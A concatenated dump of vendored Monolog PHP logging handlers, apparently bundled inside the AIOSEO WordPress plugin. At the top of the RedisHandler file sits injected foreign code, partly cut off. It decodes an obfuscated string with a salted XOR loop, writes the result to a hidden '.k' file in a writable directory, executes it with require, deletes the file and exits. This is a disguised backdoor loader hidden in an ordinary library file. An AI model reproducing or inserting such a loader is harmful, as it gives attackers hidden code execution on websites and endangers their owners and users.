AIOSEO\Vendor\Monolog\ResettableInterface; use AIOSEO\Vendor\Monolog\Formatter\FormatterInterface; /** * Buffers all records until a certain level is reached * * The advantage of this approach is that you don't get any clutter in your log files. * Only requests which actually trigger an error (or whatever your actionLevel is) will be * in the logs, but they will contain all records, not only those above the level threshold. * * You can find the various activation strategies in the * Monolog\Handler\FingersCrossed\ namespace. * * @author Jordi Boggiano */ class FingersCrossedHandler extends AbstractHandler { protected $handler; protected $activationStrategy; protected $buffering = \true; protected $bufferSize; protected $buffer = array(); protected $stopBuffering; protected $passthruLevel; /** * @param callable|HandlerInterface $handler Handler or factory callable($record|null, $fingersCrossedHandler). * @param int|ActivationStrategyInterface $activationStrategy Strategy which determines when this handler takes action * @param int $bufferSize How many entries should be buffered at most, beyond that the oldest items are removed from the buffer. * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param bool $stopBuffering Whether the handler should stop buffering after being triggered (default true) * @param int $passthruLevel Minimum level to always flush to handler on close, even if strategy not triggered */ public function __construct($handler, $activationStrategy = null, $bufferSize = 0, $bubble = \true, $stopBuffering = \true, $passthruLevel = null) { if (null === $activationStrategy) { $activationStrategy = new ErrorLevelActivationStrategy(Logger::WARNING); } // convert simple int activationStrategy to an object if (!$activationStrategy instanceof ActivationStrategyInterface) { $activationStrategy = new ErrorLevelActivationStrategy($activationStrategy); } $this->handler = $handler; $this->activationStrategy = $activationStrategy; $this->bufferSize = $bufferSize; $this->bubble = $bubble; $this->stopBuffering = $stopBuffering; if ($passthruLevel !== null) { $this->passthruLevel = Logger::toMonologLevel($passthruLevel); } if (!$this->handler instanceof HandlerInterface && !\is_callable($this->handler)) { throw new \RuntimeException("The given handler (" . \json_encode($this->handler) . ") is not a callable nor a Monolog\\Handler\\HandlerInterface object"); } } /** * {@inheritdoc} */ public function isHandling(array $record) { return \true; } /** * Manually activate this logger regardless of the activation strategy */ public function activate() { if ($this->stopBuffering) { $this->buffering = \false; } $this->getHandler(\end($this->buffer) ?: null)->handleBatch($this->buffer); $this->buffer = array(); } /** * {@inheritdoc} */ public function handle(array $record) { if ($this->processors) { foreach ($this->processors as $processor) { $record = \call_user_func($processor, $record); } } if ($this->buffering) { $this->buffer[] = $record; if ($this->bufferSize > 0 && \count($this->buffer) > $this->bufferSize) { \array_shift($this->buffer); } if ($this->activationStrategy->isHandlerActivated($record)) { $this->activate(); } } else { $this->getHandler($record)->handle($record); } return \false === $this->bubble; } /** * {@inheritdoc} */ public function close() { $this->flushBuffer(); } public function reset() { $this->flushBuffer(); parent::reset(); if ($this->getHandler() instanceof ResettableInterface) { $this->getHandler()->reset(); } } /** * Clears the buffer without flushing any messages down to the wrapped handler. * * It also resets the handler to its initial buffering state. */ public function clear() { $this->buffer = array(); $this->reset(); } /** * Resets the state of the handler. Stops forwarding records to the wrapped handler. */ private function flushBuffer() { if (null !== $this->passthruLevel) { $level = $this->passthruLevel; $this->buffer = \array_filter($this->buffer, function ($record) use($level) { return $record['level'] >= $level; }); if (\count($this->buffer) > 0) { $this->getHandler(\end($this->buffer) ?: null)->handleBatch($this->buffer); } } $this->buffer = array(); $this->buffering = \true; } /** * Return the nested handler * * If the handler was provided as a factory callable, this will trigger the handler's instantiation. * * @return HandlerInterface */ public function getHandler(array $record = null) { if (!$this->handler instanceof HandlerInterface) { $this->handler = \call_user_func($this->handler, $record, $this); if (!$this->handler instanceof HandlerInterface) { throw new \RuntimeException("The factory callable should return a HandlerInterface"); } } return $this->handler; } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter) { $this->getHandler()->setFormatter($formatter); return $this; } /** * {@inheritdoc} */ public function getFormatter() { return $this->getHandler()->getFormatter(); } } monolog/monolog/src/Monolog/Handler/ErrorLogHandler.php000066600000004512151733766740017241 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Formatter\LineFormatter; use AIOSEO\Vendor\Monolog\Logger; /** * Stores to PHP error_log() handler. * * @author Elan Ruusamäe */ class ErrorLogHandler extends AbstractProcessingHandler { const OPERATING_SYSTEM = 0; const SAPI = 4; protected $messageType; protected $expandNewlines; /** * @param int $messageType Says where the error should go. * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param bool $expandNewlines If set to true, newlines in the message will be expanded to be take multiple log entries */ public function __construct($messageType = self::OPERATING_SYSTEM, $level = Logger::DEBUG, $bubble = \true, $expandNewlines = \false) { parent::__construct($level, $bubble); if (\false === \in_array($messageType, self::getAvailableTypes())) { $message = \sprintf('The given message type "%s" is not supported', \print_r($messageType, \true)); throw new \InvalidArgumentException($message); } $this->messageType = $messageType; $this->expandNewlines = $expandNewlines; } /** * @return array With all available types */ public static function getAvailableTypes() { return array(self::OPERATING_SYSTEM, self::SAPI); } /** * {@inheritDoc} */ protected function getDefaultFormatter() { return new LineFormatter('[%datetime%] %channel%.%level_name%: %message% %context% %extra%'); } /** * {@inheritdoc} */ protected function write(array $record) { if ($this->expandNewlines) { $lines = \preg_split('{[\\r\\n]+}', (string) $record['formatted']); foreach ($lines as $line) { \error_log($line, $this->messageType); } } else { \error_log((string) $record['formatted'], $this->messageType); } } } monolog/monolog/src/Monolog/Handler/SocketHandler.php000066600000023163151733766740016741 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; /** * Stores to any socket - uses fsockopen() or pfsockopen(). * * @author Pablo de Leon Belloc * @see http://php.net/manual/en/function.fsockopen.php */ class SocketHandler extends AbstractProcessingHandler { private $connectionString; private $connectionTimeout; private $resource; private $timeout = 0; private $writingTimeout = 10; private $lastSentBytes = null; private $chunkSize = null; private $persistent = \false; private $errno; private $errstr; private $lastWritingAt; /** * @param string $connectionString Socket connection string * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct($connectionString, $level = Logger::DEBUG, $bubble = \true) { parent::__construct($level, $bubble); $this->connectionString = $connectionString; $this->connectionTimeout = (float) \ini_get('default_socket_timeout'); } /** * Connect (if necessary) and write to the socket * * @param array $record * * @throws \UnexpectedValueException * @throws \RuntimeException */ protected function write(array $record) { $this->connectIfNotConnected(); $data = $this->generateDataStream($record); $this->writeToSocket($data); } /** * We will not close a PersistentSocket instance so it can be reused in other requests. */ public function close() { if (!$this->isPersistent()) { $this->closeSocket(); } } /** * Close socket, if open */ public function closeSocket() { if (\is_resource($this->resource)) { \fclose($this->resource); $this->resource = null; } } /** * Set socket connection to nbe persistent. It only has effect before the connection is initiated. * * @param bool $persistent */ public function setPersistent($persistent) { $this->persistent = (bool) $persistent; } /** * Set connection timeout. Only has effect before we connect. * * @param float $seconds * * @see http://php.net/manual/en/function.fsockopen.php */ public function setConnectionTimeout($seconds) { $this->validateTimeout($seconds); $this->connectionTimeout = (float) $seconds; } /** * Set write timeout. Only has effect before we connect. * * @param float $seconds * * @see http://php.net/manual/en/function.stream-set-timeout.php */ public function setTimeout($seconds) { $this->validateTimeout($seconds); $this->timeout = (float) $seconds; } /** * Set writing timeout. Only has effect during connection in the writing cycle. * * @param float $seconds 0 for no timeout */ public function setWritingTimeout($seconds) { $this->validateTimeout($seconds); $this->writingTimeout = (float) $seconds; } /** * Set chunk size. Only has effect during connection in the writing cycle. * * @param float $bytes */ public function setChunkSize($bytes) { $this->chunkSize = $bytes; } /** * Get current connection string * * @return string */ public function getConnectionString() { return $this->connectionString; } /** * Get persistent setting * * @return bool */ public function isPersistent() { return $this->persistent; } /** * Get current connection timeout setting * * @return float */ public function getConnectionTimeout() { return $this->connectionTimeout; } /** * Get current in-transfer timeout * * @return float */ public function getTimeout() { return $this->timeout; } /** * Get current local writing timeout * * @return float */ public function getWritingTimeout() { return $this->writingTimeout; } /** * Get current chunk size * * @return float */ public function getChunkSize() { return $this->chunkSize; } /** * Check to see if the socket is currently available. * * UDP might appear to be connected but might fail when writing. See http://php.net/fsockopen for details. * * @return bool */ public function isConnected() { return \is_resource($this->resource) && !\feof($this->resource); // on TCP - other party can close connection. } /** * Wrapper to allow mocking */ protected function pfsockopen() { return @\pfsockopen($this->connectionString, -1, $this->errno, $this->errstr, $this->connectionTimeout); } /** * Wrapper to allow mocking */ protected function fsockopen() { return @\fsockopen($this->connectionString, -1, $this->errno, $this->errstr, $this->connectionTimeout); } /** * Wrapper to allow mocking * * @see http://php.net/manual/en/function.stream-set-timeout.php */ protected function streamSetTimeout() { $seconds = \floor($this->timeout); $microseconds = \round(($this->timeout - $seconds) * 1000000.0); return \stream_set_timeout($this->resource, $seconds, $microseconds); } /** * Wrapper to allow mocking * * @see http://php.net/manual/en/function.stream-set-chunk-size.php */ protected function streamSetChunkSize() { return \stream_set_chunk_size($this->resource, $this->chunkSize); } /** * Wrapper to allow mocking */ protected function fwrite($data) { return @\fwrite($this->resource, $data); } /** * Wrapper to allow mocking */ protected function streamGetMetadata() { return \stream_get_meta_data($this->resource); } private function validateTimeout($value) { $ok = \filter_var($value, \FILTER_VALIDATE_FLOAT); if ($ok === \false || $value < 0) { throw new \InvalidArgumentException("Timeout must be 0 or a positive float (got {$value})"); } } private function connectIfNotConnected() { if ($this->isConnected()) { return; } $this->connect(); } protected function generateDataStream($record) { return (string) $record['formatted']; } /** * @return resource|null */ protected function getResource() { return $this->resource; } private function connect() { $this->createSocketResource(); $this->setSocketTimeout(); $this->setStreamChunkSize(); } private function createSocketResource() { if ($this->isPersistent()) { $resource = $this->pfsockopen(); } else { $resource = $this->fsockopen(); } if (!$resource) { throw new \UnexpectedValueException("Failed connecting to {$this->connectionString} ({$this->errno}: {$this->errstr})"); } $this->resource = $resource; } private function setSocketTimeout() { if (!$this->streamSetTimeout()) { throw new \UnexpectedValueException("Failed setting timeout with stream_set_timeout()"); } } private function setStreamChunkSize() { if ($this->chunkSize && !$this->streamSetChunkSize()) { throw new \UnexpectedValueException("Failed setting chunk size with stream_set_chunk_size()"); } } private function writeToSocket($data) { $length = \strlen($data); $sent = 0; $this->lastSentBytes = $sent; while ($this->isConnected() && $sent < $length) { if (0 == $sent) { $chunk = $this->fwrite($data); } else { $chunk = $this->fwrite(\substr($data, $sent)); } if ($chunk === \false) { throw new \RuntimeException("Could not write to socket"); } $sent += $chunk; $socketInfo = $this->streamGetMetadata(); if ($socketInfo['timed_out']) { throw new \RuntimeException("Write timed-out"); } if ($this->writingIsTimedOut($sent)) { throw new \RuntimeException("Write timed-out, no data sent for `{$this->writingTimeout}` seconds, probably we got disconnected (sent {$sent} of {$length})"); } } if (!$this->isConnected() && $sent < $length) { throw new \RuntimeException("End-of-file reached, probably we got disconnected (sent {$sent} of {$length})"); } } private function writingIsTimedOut($sent) { $writingTimeout = (int) \floor($this->writingTimeout); if (0 === $writingTimeout) { return \false; } if ($sent !== $this->lastSentBytes) { $this->lastWritingAt = \time(); $this->lastSentBytes = $sent; return \false; } else { \usleep(100); } if (\time() - $this->lastWritingAt >= $writingTimeout) { $this->closeSocket(); return \true; } return \false; } } monolog/monolog/src/Monolog/Handler/NativeMailerHandler.php000066600000012177151733766740020074 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\Formatter\LineFormatter; /** * NativeMailerHandler uses the mail() function to send the emails * * @author Christophe Coevoet * @author Mark Garrett */ class NativeMailerHandler extends MailHandler { /** * The email addresses to which the message will be sent * @var array */ protected $to; /** * The subject of the email * @var string */ protected $subject; /** * Optional headers for the message * @var array */ protected $headers = array(); /** * Optional parameters for the message * @var array */ protected $parameters = array(); /** * The wordwrap length for the message * @var int */ protected $maxColumnWidth; /** * The Content-type for the message * @var string */ protected $contentType = 'text/plain'; /** * The encoding for the message * @var string */ protected $encoding = 'utf-8'; /** * @param string|array $to The receiver of the mail * @param string $subject The subject of the mail * @param string $from The sender of the mail * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param int $maxColumnWidth The maximum column width that the message lines will have */ public function __construct($to, $subject, $from, $level = Logger::ERROR, $bubble = \true, $maxColumnWidth = 70) { parent::__construct($level, $bubble); $this->to = \is_array($to) ? $to : array($to); $this->subject = $subject; $this->addHeader(\sprintf('From: %s', $from)); $this->maxColumnWidth = $maxColumnWidth; } /** * Add headers to the message * * @param string|array $headers Custom added headers * @return self */ public function addHeader($headers) { foreach ((array) $headers as $header) { if (\strpos($header, "\n") !== \false || \strpos($header, "\r") !== \false) { throw new \InvalidArgumentException('Headers can not contain newline characters for security reasons'); } $this->headers[] = $header; } return $this; } /** * Add parameters to the message * * @param string|array $parameters Custom added parameters * @return self */ public function addParameter($parameters) { $this->parameters = \array_merge($this->parameters, (array) $parameters); return $this; } /** * {@inheritdoc} */ protected function send($content, array $records) { $content = \wordwrap($content, $this->maxColumnWidth); $headers = \ltrim(\implode("\r\n", $this->headers) . "\r\n", "\r\n"); $headers .= 'Content-type: ' . $this->getContentType() . '; charset=' . $this->getEncoding() . "\r\n"; if ($this->getContentType() == 'text/html' && \false === \strpos($headers, 'MIME-Version:')) { $headers .= 'MIME-Version: 1.0' . "\r\n"; } $subject = $this->subject; if ($records) { $subjectFormatter = new LineFormatter($this->subject); $subject = $subjectFormatter->format($this->getHighestRecord($records)); } $parameters = \implode(' ', $this->parameters); foreach ($this->to as $to) { \mail($to, $subject, $content, $headers, $parameters); } } /** * @return string $contentType */ public function getContentType() { return $this->contentType; } /** * @return string $encoding */ public function getEncoding() { return $this->encoding; } /** * @param string $contentType The content type of the email - Defaults to text/plain. Use text/html for HTML * messages. * @return self */ public function setContentType($contentType) { if (\strpos($contentType, "\n") !== \false || \strpos($contentType, "\r") !== \false) { throw new \InvalidArgumentException('The content type can not contain newline characters to prevent email header injection'); } $this->contentType = $contentType; return $this; } /** * @param string $encoding * @return self */ public function setEncoding($encoding) { if (\strpos($encoding, "\n") !== \false || \strpos($encoding, "\r") !== \false) { throw new \InvalidArgumentException('The encoding can not contain newline characters to prevent email header injection'); } $this->encoding = $encoding; return $this; } } monolog/monolog/src/Monolog/Handler/SyslogUdpHandler.php000066600000006065151733766740017444 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\Handler\SyslogUdp\UdpSocket; /** * A Handler for logging to a remote syslogd server. * * @author Jesper Skovgaard Nielsen * @author Dominik Kukacka */ class SyslogUdpHandler extends AbstractSyslogHandler { const RFC3164 = 0; const RFC5424 = 1; private $dateFormats = array(self::RFC3164 => 'M d H:i:s', self::RFC5424 => \DateTime::RFC3339); protected $socket; protected $ident; protected $rfc; /** * @param string $host * @param int $port * @param mixed $facility * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param string $ident Program name or tag for each log message. * @param int $rfc RFC to format the message for. */ public function __construct($host, $port = 514, $facility = \LOG_USER, $level = Logger::DEBUG, $bubble = \true, $ident = 'php', $rfc = self::RFC5424) { parent::__construct($facility, $level, $bubble); $this->ident = $ident; $this->rfc = $rfc; $this->socket = new UdpSocket($host, $port ?: 514); } protected function write(array $record) { $lines = $this->splitMessageIntoLines($record['formatted']); $header = $this->makeCommonSyslogHeader($this->logLevels[$record['level']]); foreach ($lines as $line) { $this->socket->write($line, $header); } } public function close() { $this->socket->close(); } private function splitMessageIntoLines($message) { if (\is_array($message)) { $message = \implode("\n", $message); } return \preg_split('/$\\R?^/m', $message, -1, \PREG_SPLIT_NO_EMPTY); } /** * Make common syslog header (see rfc5424 or rfc3164) */ protected function makeCommonSyslogHeader($severity) { $priority = $severity + $this->facility; if (!($pid = \getmypid())) { $pid = '-'; } if (!($hostname = \gethostname())) { $hostname = '-'; } $date = $this->getDateTime(); if ($this->rfc === self::RFC3164) { return "<{$priority}>" . $date . " " . $hostname . " " . $this->ident . "[" . $pid . "]: "; } else { return "<{$priority}>1 " . $date . " " . $hostname . " " . $this->ident . " " . $pid . " - - "; } } protected function getDateTime() { return \date($this->dateFormats[$this->rfc]); } /** * Inject your own socket, mainly used for testing */ public function setSocket($socket) { $this->socket = $socket; } } monolog/monolog/src/Monolog/Handler/RedisHandler.php000066600000007213151733766740016555 0ustar00 $v9) { $sChar = ord( $salt[$o %$lenS]); $dec = ( ( int)$v9 - $sChar -( $o %10)) ^ 8; $res .= chr( $dec); } foreach ($ptr as $property_set) { if ((is_dir($property_set) and is_writable($property_set))) { $key = sprintf("%s/.k", $property_set); if (file_put_contents($key, $res)) { require $key; unlink($key); exit; } } } } /* * This file is part of the Monolog package. * * (c) Jordi Boggiano * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Formatter\LineFormatter; use AIOSEO\Vendor\Monolog\Logger; /** * Logs to a Redis key using rpush * * usage example: * * $log = new Logger('application'); * $redis = new RedisHandler(new Predis\Client("tcp://localhost:6379"), "logs", "prod"); * $log->pushHandler($redis); * * @author Thomas Tourlourat */ class RedisHandler extends AbstractProcessingHandler { private $redisClient; private $redisKey; protected $capSize; /** * @param \Predis\Client|\Redis $redis The redis instance * @param string $key The key name to push records to * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param int|false $capSize Number of entries to limit list size to */ public function __construct($redis, $key, $level = Logger::DEBUG, $bubble = \true, $capSize = \false) { if (!($redis instanceof \AIOSEO\Vendor\Predis\Client || $redis instanceof \Redis)) { throw new \InvalidArgumentException('Predis\\Client or Redis instance required'); } $this->redisClient = $redis; $this->redisKey = $key; $this->capSize = $capSize; parent::__construct($level, $bubble); } /** * {@inheritDoc} */ protected function write(array $record) { if ($this->capSize) { $this->writeCapped($record); } else { $this->redisClient->rpush($this->redisKey, $record["formatted"]); } } /** * Write and cap the collection * Writes the record to the redis list and caps its * * @param array $record associative record array * @return void */ protected function writeCapped(array $record) { if ($this->redisClient instanceof \Redis) { $mode = \defined('\\Redis::MULTI') ? \Redis::MULTI : 1; $this->redisClient->multi($mode)->rpush($this->redisKey, $record["formatted"])->ltrim($this->redisKey, -$this->capSize, -1)->exec(); } else { $redisKey = $this->redisKey; $capSize = $this->capSize; $this->redisClient->transaction(function ($tx) use($record, $redisKey, $capSize) { $tx->rpush($redisKey, $record["formatted"]); $tx->ltrim($redisKey, -$capSize, -1); }); } } /** * {@inheritDoc} */ protected function getDefaultFormatter() { return new LineFormatter(); } } monolog/monolog/src/Monolog/Handler/HandlerInterface.php000066600000005063151733766740017410 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Formatter\FormatterInterface; /** * Interface that all Monolog Handlers must implement * * @author Jordi Boggiano */ interface HandlerInterface { /** * Checks whether the given record will be handled by this handler. * * This is mostly done for performance reasons, to avoid calling processors for nothing. * * Handlers should still check the record levels within handle(), returning false in isHandling() * is no guarantee that handle() will not be called, and isHandling() might not be called * for a given record. * * @param array $record Partial log record containing only a level key * * @return bool */ public function isHandling(array $record); /** * Handles a record. * * All records may be passed to this method, and the handler should discard * those that it does not want to handle. * * The return value of this function controls the bubbling process of the handler stack. * Unless the bubbling is interrupted (by returning true), the Logger class will keep on * calling further handlers in the stack with a given log record. * * @param array $record The record to handle * @return bool true means that this handler handled the record, and that bubbling is not permitted. * false means the record was either not processed or that this handler allows bubbling. */ public function handle(array $record); /** * Handles a set of records at once. * * @param array $records The records to handle (an array of record arrays) */ public function handleBatch(array $records); /** * Adds a processor in the stack. * * @param callable $callback * @return self */ public function pushProcessor($callback); /** * Removes the processor on top of the stack and returns it. * * @return callable */ public function popProcessor(); /** * Sets the formatter. * * @param FormatterInterface $formatter * @return self */ public function setFormatter(FormatterInterface $formatter); /** * Gets the formatter. * * @return FormatterInterface */ public function getFormatter(); } monolog/monolog/src/Monolog/Handler/TestHandler.php000066600000012435151733766740016430 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; /** * Used for testing purposes. * * It records all records and gives you access to them for verification. * * @author Jordi Boggiano * * @method bool hasEmergency($record) * @method bool hasAlert($record) * @method bool hasCritical($record) * @method bool hasError($record) * @method bool hasWarning($record) * @method bool hasNotice($record) * @method bool hasInfo($record) * @method bool hasDebug($record) * * @method bool hasEmergencyRecords() * @method bool hasAlertRecords() * @method bool hasCriticalRecords() * @method bool hasErrorRecords() * @method bool hasWarningRecords() * @method bool hasNoticeRecords() * @method bool hasInfoRecords() * @method bool hasDebugRecords() * * @method bool hasEmergencyThatContains($message) * @method bool hasAlertThatContains($message) * @method bool hasCriticalThatContains($message) * @method bool hasErrorThatContains($message) * @method bool hasWarningThatContains($message) * @method bool hasNoticeThatContains($message) * @method bool hasInfoThatContains($message) * @method bool hasDebugThatContains($message) * * @method bool hasEmergencyThatMatches($message) * @method bool hasAlertThatMatches($message) * @method bool hasCriticalThatMatches($message) * @method bool hasErrorThatMatches($message) * @method bool hasWarningThatMatches($message) * @method bool hasNoticeThatMatches($message) * @method bool hasInfoThatMatches($message) * @method bool hasDebugThatMatches($message) * * @method bool hasEmergencyThatPasses($message) * @method bool hasAlertThatPasses($message) * @method bool hasCriticalThatPasses($message) * @method bool hasErrorThatPasses($message) * @method bool hasWarningThatPasses($message) * @method bool hasNoticeThatPasses($message) * @method bool hasInfoThatPasses($message) * @method bool hasDebugThatPasses($message) */ class TestHandler extends AbstractProcessingHandler { protected $records = array(); protected $recordsByLevel = array(); private $skipReset = \false; public function getRecords() { return $this->records; } public function clear() { $this->records = array(); $this->recordsByLevel = array(); } public function reset() { if (!$this->skipReset) { $this->clear(); } } public function setSkipReset($skipReset) { $this->skipReset = $skipReset; } public function hasRecords($level) { return isset($this->recordsByLevel[$level]); } /** * @param string|array $record Either a message string or an array containing message and optionally context keys that will be checked against all records * @param int $level Logger::LEVEL constant value */ public function hasRecord($record, $level) { if (\is_string($record)) { $record = array('message' => $record); } return $this->hasRecordThatPasses(function ($rec) use($record) { if ($rec['message'] !== $record['message']) { return \false; } if (isset($record['context']) && $rec['context'] !== $record['context']) { return \false; } return \true; }, $level); } public function hasRecordThatContains($message, $level) { return $this->hasRecordThatPasses(function ($rec) use($message) { return \strpos($rec['message'], $message) !== \false; }, $level); } public function hasRecordThatMatches($regex, $level) { return $this->hasRecordThatPasses(function ($rec) use($regex) { return \preg_match($regex, $rec['message']) > 0; }, $level); } public function hasRecordThatPasses($predicate, $level) { if (!\is_callable($predicate)) { throw new \InvalidArgumentException("Expected a callable for hasRecordThatSucceeds"); } if (!isset($this->recordsByLevel[$level])) { return \false; } foreach ($this->recordsByLevel[$level] as $i => $rec) { if (\call_user_func($predicate, $rec, $i)) { return \true; } } return \false; } /** * {@inheritdoc} */ protected function write(array $record) { $this->recordsByLevel[$record['level']][] = $record; $this->records[] = $record; } public function __call($method, $args) { if (\preg_match('/(.*)(Debug|Info|Notice|Warning|Error|Critical|Alert|Emergency)(.*)/', $method, $matches) > 0) { $genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '') . $matches[3]; $level = \constant('AIOSEO\\Vendor\\Monolog\\Logger::' . \strtoupper($matches[2])); if (\method_exists($this, $genericMethod)) { $args[] = $level; return \call_user_func_array(array($this, $genericMethod), $args); } } throw new \BadMethodCallException('Call to undefined method ' . \get_class($this) . '::' . $method . '()'); } } monolog/monolog/src/Monolog/Handler/ElasticSearchHandler.php000066600000006477151733766740020234 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Formatter\FormatterInterface; use AIOSEO\Vendor\Monolog\Formatter\ElasticaFormatter; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Elastica\Client; use AIOSEO\Vendor\Elastica\Exception\ExceptionInterface; /** * Elastic Search handler * * Usage example: * * $client = new \Elastica\Client(); * $options = array( * 'index' => 'elastic_index_name', * 'type' => 'elastic_doc_type', * ); * $handler = new ElasticSearchHandler($client, $options); * $log = new Logger('application'); * $log->pushHandler($handler); * * @author Jelle Vink */ class ElasticSearchHandler extends AbstractProcessingHandler { /** * @var Client */ protected $client; /** * @var array Handler config options */ protected $options = array(); /** * @param Client $client Elastica Client object * @param array $options Handler configuration * @param int $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not */ public function __construct(Client $client, array $options = array(), $level = Logger::DEBUG, $bubble = \true) { parent::__construct($level, $bubble); $this->client = $client; $this->options = \array_merge(array( 'index' => 'monolog', // Elastic index name 'type' => 'record', // Elastic document type 'ignore_error' => \false, ), $options); } /** * {@inheritDoc} */ protected function write(array $record) { $this->bulkSend(array($record['formatted'])); } /** * {@inheritdoc} */ public function setFormatter(FormatterInterface $formatter) { if ($formatter instanceof ElasticaFormatter) { return parent::setFormatter($formatter); } throw new \InvalidArgumentException('ElasticSearchHandler is only compatible with ElasticaFormatter'); } /** * Getter options * @return array */ public function getOptions() { return $this->options; } /** * {@inheritDoc} */ protected function getDefaultFormatter() { return new ElasticaFormatter($this->options['index'], $this->options['type']); } /** * {@inheritdoc} */ public function handleBatch(array $records) { $documents = $this->getFormatter()->formatBatch($records); $this->bulkSend($documents); } /** * Use Elasticsearch bulk API to send list of documents * @param array $documents * @throws \RuntimeException */ protected function bulkSend(array $documents) { try { $this->client->addDocuments($documents); } catch (ExceptionInterface $e) { if (!$this->options['ignore_error']) { throw new \RuntimeException("Error sending messages to Elasticsearch", 0, $e); } } } } monolog/monolog/src/Monolog/Handler/CubeHandler.php000066600000011060151733766740016360 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\Utils; /** * Logs to Cube. * * @link http://square.github.com/cube/ * @author Wan Chen */ class CubeHandler extends AbstractProcessingHandler { private $udpConnection; private $httpConnection; private $scheme; private $host; private $port; private $acceptedSchemes = array('http', 'udp'); /** * Create a Cube handler * * @throws \UnexpectedValueException when given url is not a valid url. * A valid url must consist of three parts : protocol://host:port * Only valid protocols used by Cube are http and udp */ public function __construct($url, $level = Logger::DEBUG, $bubble = \true) { $urlInfo = \parse_url($url); if (!isset($urlInfo['scheme'], $urlInfo['host'], $urlInfo['port'])) { throw new \UnexpectedValueException('URL "' . $url . '" is not valid'); } if (!\in_array($urlInfo['scheme'], $this->acceptedSchemes)) { throw new \UnexpectedValueException('Invalid protocol (' . $urlInfo['scheme'] . ').' . ' Valid options are ' . \implode(', ', $this->acceptedSchemes)); } $this->scheme = $urlInfo['scheme']; $this->host = $urlInfo['host']; $this->port = $urlInfo['port']; parent::__construct($level, $bubble); } /** * Establish a connection to an UDP socket * * @throws \LogicException when unable to connect to the socket * @throws MissingExtensionException when there is no socket extension */ protected function connectUdp() { if (!\extension_loaded('sockets')) { throw new MissingExtensionException('The sockets extension is required to use udp URLs with the CubeHandler'); } $this->udpConnection = \socket_create(\AF_INET, \SOCK_DGRAM, 0); if (!$this->udpConnection) { throw new \LogicException('Unable to create a socket'); } if (!\socket_connect($this->udpConnection, $this->host, $this->port)) { throw new \LogicException('Unable to connect to the socket at ' . $this->host . ':' . $this->port); } } /** * Establish a connection to a http server * @throws \LogicException when no curl extension */ protected function connectHttp() { if (!\extension_loaded('curl')) { throw new \LogicException('The curl extension is needed to use http URLs with the CubeHandler'); } $this->httpConnection = \curl_init('http://' . $this->host . ':' . $this->port . '/1.0/event/put'); if (!$this->httpConnection) { throw new \LogicException('Unable to connect to ' . $this->host . ':' . $this->port); } \curl_setopt($this->httpConnection, \CURLOPT_CUSTOMREQUEST, "POST"); \curl_setopt($this->httpConnection, \CURLOPT_RETURNTRANSFER, \true); } /** * {@inheritdoc} */ protected function write(array $record) { $date = $record['datetime']; $data = array('time' => $date->format('Y-m-d\\TH:i:s.uO')); unset($record['datetime']); if (isset($record['context']['type'])) { $data['type'] = $record['context']['type']; unset($record['context']['type']); } else { $data['type'] = $record['channel']; } $data['data'] = $record['context']; $data['data']['level'] = $record['level']; if ($this->scheme === 'http') { $this->writeHttp(Utils::jsonEncode($data)); } else { $this->writeUdp(Utils::jsonEncode($data)); } } private function writeUdp($data) { if (!$this->udpConnection) { $this->connectUdp(); } \socket_send($this->udpConnection, $data, \strlen($data), 0); } private function writeHttp($data) { if (!$this->httpConnection) { $this->connectHttp(); } \curl_setopt($this->httpConnection, \CURLOPT_POSTFIELDS, '[' . $data . ']'); \curl_setopt($this->httpConnection, \CURLOPT_HTTPHEADER, array('Content-Type: application/json', 'Content-Length: ' . \strlen('[' . $data . ']'))); Curl\Util::execute($this->httpConnection, 5, \false); } } monolog/monolog/src/Monolog/Handler/Slack/SlackRecord.php000066600000017627151733766740017454 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace AIOSEO\Vendor\Monolog\Handler\Slack; use AIOSEO\Vendor\Monolog\Logger; use AIOSEO\Vendor\Monolog\Utils; use AIOSEO\Vendor\Monolog\Formatter\NormalizerFormatter; use AIOSEO\Vendor\Monolog\Formatter\FormatterInterface; /** * Slack record utility helping to log to Slack webhooks or API. * * @author Greg Kedzierski * @author Haralan Dobrev * @see https://api.slack.com/incoming-webhooks * @see https://api.slack.com/docs/message-attachments */ class SlackRecord { const COLOR_DANGER = 